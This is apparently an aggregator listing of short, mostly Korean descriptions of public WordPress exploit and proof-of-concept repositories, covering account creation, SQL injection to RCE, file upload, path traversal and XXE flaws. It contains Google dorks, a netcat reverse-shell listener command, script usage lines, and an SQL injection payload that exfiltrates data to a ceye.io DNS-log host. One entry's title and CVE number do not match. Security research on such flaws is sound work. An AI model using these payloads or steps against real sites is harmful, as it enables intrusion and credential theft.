CVE-2023-4278

CVE-2023-4278 Exploit Title: Wordpress Plugin Masterstudy LMS = 3.0.17 - Unauthenticated Instructor Account Creation Google Dork: inurl:/user-public-account Vendor Homepage: https://wordpress.org/plugins/masterstudy-lms-learning-management-system/ Software Link: https://stylemixthemes.com Version...

wp-mail-masta-exploit

WordPress 플러그인 Mail Masta 1.0 - CVE-2016-10956 익스플로잇 이 스크립트는 WordPress 플러그인 Mail Masta 1.0의 CVE-2016-10956 취약점을 악용하여 wp-config.php에서 자격 증명을 추출합니다. 사용 방법 1. 저장소를 클론합니다: git clone https://github.com/Hakchoven/wp-mail-masta-exploit.git 2. 디렉토리로 이동합니다: cd wp-mail-masta-exploit/ 3. 대상 URL을 인수로 스크립트를...

CVE-2026-13152

CVE-2026-13152: Custom Fields Account Registration For WooCommerce 1.4의 인증되지 않은 권한 상승 -blue.svg 📖 권고 개요 CVE-2026-13152는 보안 연구원 Huynh Kien MinhMinhHK가 발견하고 분석한, Custom Fields Account Registration For WooCommerce WordPress 플러그인 1.4 미만 버전에 영향을 미치는 인증되지 않은 권한 상승 취약점입니다. 이 결함은 플러그인이 보호된 데이터베이스 키를 살균...

wordpress-cve-2018-6389

WordPress-CVE-2018-6389 WordPress Core - 'load-scripts.php' 서비스 거부 -t PoC cve-2018-6389...

CVE-2024-3495-Poc

CVE-2024-3495-Poc CVE-2024-3495 Country State City Dropdown CF7 Accept-Encoding: gzip, deflate Accept: / Accept-Language: en-US;q=0.9,en;q=0.8 User-Agent: Mozilla/5.0 Windows NT 10.0; Win64; x64 AppleWebKit/537.36 KHTML, like Gecko Chrome/108.0.5359.125 Safari/537.36 Connection: close...

CVE-2024-50498

CVE-2024-50498 설명 LUBUS WP Query Console의 코드 생성 제어 불량'코드 삽입' 취약점으로 인해 코드 삽입이 가능합니다. 이 문제는 WP Query Console n/a부터 1.0까지의 버전에 영향을 미칩니다. Netcat 리스너 설정: 사용자 머신에서 터미널을 열고 Netcat 리스너를 시작하여 리버스 셸 연결을 대기하세요. nc -lvnp 사용법 usage: CVE-2024-50498.py -h -u URL -ip LISTENERIP -P PORT wordpress | Improper Contr...

CVE-2015-4133

CVE-2015-4133 CVE 2015-4133 - Reflex Gallery 3.1.3 임의 파일 업로드를 통한 RCE 설명 Reflex Gallery는 WordPress 플러그인으로, 3.1.3 버전에서 공격자가 쉽게 악용할 수 있는 취약점이 존재합니다. 이 취약점을 통해 임의의 파일 예: PHP 코드을 업로드하여 원격 명령 실행RCE을 달성할 수 있습니다. Exploit Title: Wordpress Plugin Reflex Gallery - Arbitrary File Upload Google Dork:...

CVE-2024-27956

Wordpress SQLI-2-RCE 익스플로잇 이 Python 스크립트는 SQL 인젝션을 통해 원격 코드 실행RCE으로 이어질 수 있게 하는 Wordpress의 취약점인 CVE-2024-27956을 악용합니다. 기능 멀티스레드 악용: 동시 스레드를 사용하여 여러 Wordpress 인스턴스를 동시에 공격합니다. 동적 페이로드 주입: SQL 쿼리를 동적으로 구성하여 취약한 Wordpress 설치에 악성 코드를 주입합니다. 상세 로깅 및 오류 처리: colorama와 coloredlogs를 사용하여 색상으로 구분된 메시지로 콘솔...

CVE-2025-2294

CVE-2025-4403 익스플로잇 세부 정보 발행일 : 2025년 3월 27일 업데이트 : 2025년 3월 28일 심각도 : 치명적 CVSS 점수: 9.8 CWE : CWE-22: CWE-22 경로명을 제한된 디렉터리로 부적절하게 제한 '경로 탐색' 영향받는 버전 : n/a부터 2.5.1까지의 모든 버전 연구자 : https://www.wordfence.com/threat-intel/vulnerabilities/researchers/michael-mazzolini CVSS 벡터 CVSS 버전 : 9.8 벡터 문자열 :...

CVE-2024-1071-SQL-Injection

개념 증명 CVE-2024-1071: 워드프레스 취약점 악용 면책 조항 : 이 개념 증명POC은 교육 및 윤리적 테스트 목적으로만 제작되었습니다. 사전 상호 동의 없이 대상을 공격하기 위해 이 도구를 사용하는 것은 불법입니다. 최종 사용자는 모든 해당 지역, 주 및 연방 법률을 준수할 책임이 있습니다. 개발자는 어떠한 책임도 지지 않으며, 이 프로그램으로 인한 오용이나 손해에 대해 책임을 지지 않습니다. 시작하기 Ultimate Member – User Profile, Registration, Login, Member...

wp2shell

CVE-2026-63030 + CVE-2026-60137 - “wp2shell”: WordPress 코어의 인증 없는 원격 코드 실행 RCE REST API 배치 라우트 혼동CVE-2026-63030과 WPQuery authornotin SQL 인젝션CVE-2026-60137의 체이닝 → 기본 WordPress 설치에 대한 인증 전 원격 코드 실행. Adam KuesAssetnote / Searchlight Cyber가 발견, 2026-07-17 공개. 권고: GHSA-ff9f-jf42-662q,...

wp2shell-poc

wp2shell-poc Searchlight Cyber의 wp2shell 권고와 관련된 인증되지 않은 WordPress REST 배치 경로 혼동route-confusion SQL 삽입에 대한 독립적인 개념 증명PoC입니다. 이 저장소는 Searchlight Cyber의 공식 점검 도구가 아닙니다. check는 SQLi 경로를 확인하고, read는 데이터베이스 읽기를 시연하며, shell은 제공된 관리자 자격 증명을 사용하거나 먼저 SQLi-to-admin 브리지를 실행하여 플러그인 기반 명령 셸을 엽니다. 영향을 받는 버전...

CVE-2025-28915

CVE-2025-28915 취약점 설명: WordPress는 PHP 언어로 개발된 블로그 플랫폼으로, PHP 및 MySQL 서버에서 개인 블로그 웹사이트를 구축할 수 있도록 지원합니다. WordPress ThemeEgg ToolKit 1.2.9 및 이전 버전에는 코드 문제 취약점이 존재하며, 이 취약점은 위험한 유형의 파일 업로드를 허용하여 Web Shell을 업로드할 수 있습니다. 환경 구축: docker pull wordpress 이전 플러그인:...

CVE-2024-6366-PoC

CVE-2024-6366-PoC User Profile Builder = 3.11.7 - 인증되지 않은 미디어 업로드 설명 User Profile Builder WordPress 플러그인 버전 3.11.8 이전에는 적절한 권한 확인이 없어, 인증되지 않은 사용자가 WP의 비동기 업로드 기능을 통해 미디어 파일을 업로드할 수 있습니다. 사용법: usage: CVE-2024-6366.py -h -u URL The User Profile Builder WordPress plugin before 3.11.8 does not have...

wordpress_cve-2021-29447

wordpresscve-2021-29447 WordPress XXE 취약점 출처 : https://github.com/motikan2010...

MpOperationLogs

CVE-2023-5538 wordpress plugin MpOperationLogs = 1.0.1 - 인증되지 않은 저장형 교차 사이트 스크립팅...

wordpress-CVE-2022-21661

wordpress-CVE-2022-21661 version5.8.3 경로：http://your target/wp-admin/admin-ajax.php 주입 유형은 out-of-band이며, dnslog를 직접 지정하고 ceye.io를 대체해야 합니다. POST- 데이터："taxquery":"field":"termtaxonomyid","terms":"1 and ifselect loadfileconcat'\',select version,'.27s601.ceye.io\abc',1,1-- a"...

Wordpress-cve-CVE-2022-21661

Wordpress 5.8.2 CVE-2022-21661 취약 환경 이 환경은 Elementor Custom Skin 플러그인을 사용하여 CVE-2022-21661을 테스트하도록 설정되었습니다. 환경을 시작하려면 console wp-lab$ ./start.sh 관리자 비밀번호를 얻으려면 실행 중인 컨테이너의 로그를 확인하세요. 컨테이너가 부팅될 때마다 새 비밀번호가 생성됩니다. console $wp-lab$ docker logs test user admin pwd: inpJbxn+mhWWNSgEAlsU2A== localip:...

CVE-2025-10897

CVE-2025-10897 WooCommerce는 웹사이트를 온라인 스토어로 전환해 주는 WordPress용 오픈소스 전자상거래 플러그인입니다. WooCommerce Designer Pro는 JMA Plugins에서 개발한 WordPress 플러그인으로, 고객이 WooCommerce 스토어에서 직접 제품을 디자인하고 맞춤 설정할 수 있게 해 줍니다. 중요 : WooCommerce와 WooCommerce Designer Pro는 완전히 다른 제품입니다. WooCommerce Designer Pro는 명함, 엽서, 전단지, 포스터...

CVE-2024-1071-Docker

CVE-2024-1071 및 Docker 🎯 새로운 WordPress CVE를 실습해 보고 싶으신가요? 아래 지침을 따르세요. 실습 환경 구축하기 1. Docker 설치: https://docs.docker.com/get-docker/ 2. 프로젝트 클론: git clone https://github.com/Trackflaw/CVE-2024-1071-Docker.git. 3. 프로젝트 디렉터리로 이동: cd CVE-2024-1071-Docker 4. Docker Compose 파일 실행: docker compose up -d...